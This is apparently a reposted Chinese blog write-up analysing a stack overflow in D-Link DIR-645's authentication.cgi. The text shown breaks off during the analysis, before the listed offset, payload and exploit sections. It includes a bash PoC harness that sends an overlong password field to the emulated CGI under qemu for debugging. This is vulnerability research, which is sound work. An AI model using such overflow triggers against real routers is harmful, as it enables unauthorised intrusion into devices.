路由器模拟_DLink DIR645路由器栈溢出漏洞分析

a576ad35bb08bfce39607742d188b74e.png 本文为看雪论坛优秀文章 看雪论坛作者ID:21Gun5

目录

01-漏洞描述

02-环境/工具

03-漏洞分析

04-漏洞利用

        4.1-选择攻击途径

        4.2-确定偏移

        4.3-构造payload

        4.4-完整exp

05-漏洞测试

06-参考

01-漏洞描述 https://www.exploit-db.com/exploits/33862
This module exploits an remote buffer overflow vulnerability on several D-Link routers.The vulnerability exists in the handling of HTTP queries to the authentication.cgi with long password values. The vulnerability can be exploitable without authentication.This module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
关键点:溢出漏洞、http请求、password字段、authentication.cgi 02-环境/工具

Ubuntu 18.04:目标系统,运行路由器固件 Windows 7 专业版:运行IDA作为远程调试机 IDA Pro:静态分析、远程动态调试 mips rop finder插件:搜索可用rop binwalk:提取固件中的文件系统 firmadyne工具包:模拟路由器执行 固件下载: ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP 《路由器0Day漏洞》一书中脚本 :run_cgi.sh(poc)、patterLocOffset.py(确定偏移)、DIR645-f-V1.03.py(exp) 03-漏洞分析

1、用binwalk将固件中的文件系统提取出来,cd到squashfs目录,寻找存在漏洞的目标文件authentication.cgi,得知其是一个符号链接,真正的目标文件是cgibin。 82a106ada1e62afd5cde3b9f98f9e2b2.png 2、利用已有的poc来定位漏洞,使用的sh脚本如下,来自《路由器0Day漏洞》一书中run_cgi.sh。
#!/bin/bash# 待执行命令# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G" INPUT="$1" # 参数1,uid=A21G&password=1160个ATEST="$2"    # 参数2,uid=A21GLEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度PORT="1234"    # 监听的调试端口 # 用法错误则提示if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]then    echo -e "\nUsage: sudo $0 \n"    exit 1fi # 复制qemu-mipsel-static到本目录并重命名,注意是static版本cp $(which qemu-mipsel-static) ./qemuecho $TEST# | 管道符:前者输出作为后者输入# chroot 将某目录设置为根目录(逻辑上的)echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgiecho 'run ok'rm -f ./qemu    # 删除拷贝过来的执行文件
3、书中原有的poc运行失败
  • 去掉2>/dev/null,使其显示报错信息(2-标准报错信息

  • chroot: failed to run command ‘./qemu’: No such file or directory

  • https://blog.csdn.net/xieqianhua55/article/details/50749489

  • apt安装qemu-user-static,将cp中qemu-mipsel改为qemu-mipsel-static

  • 应该是因为chroot后,路径都变了,qemu的执行缺少依赖,改为静态即可

4、Ubuntu中执行脚本,开启调试端口1234,等待远程调试机连接:
 sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"
5、Windows 7 中IDA打开cgibin,开启远程调试: 6aff51b31ebd7470a6f7395a8a2fa5ef.png 6、因为漏洞文件与认证有关,故function子窗口中搜索“authentication“,试一下authenticatecgi_main函数,F2下断,F9运行至此。 e98df84d6d525c43f9c65b85e90c4db5.png 3737b029dd364c07e21a62c00163f238.png 7、地址0040B028处,保存ra寄存器中的返回地址到内存。
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值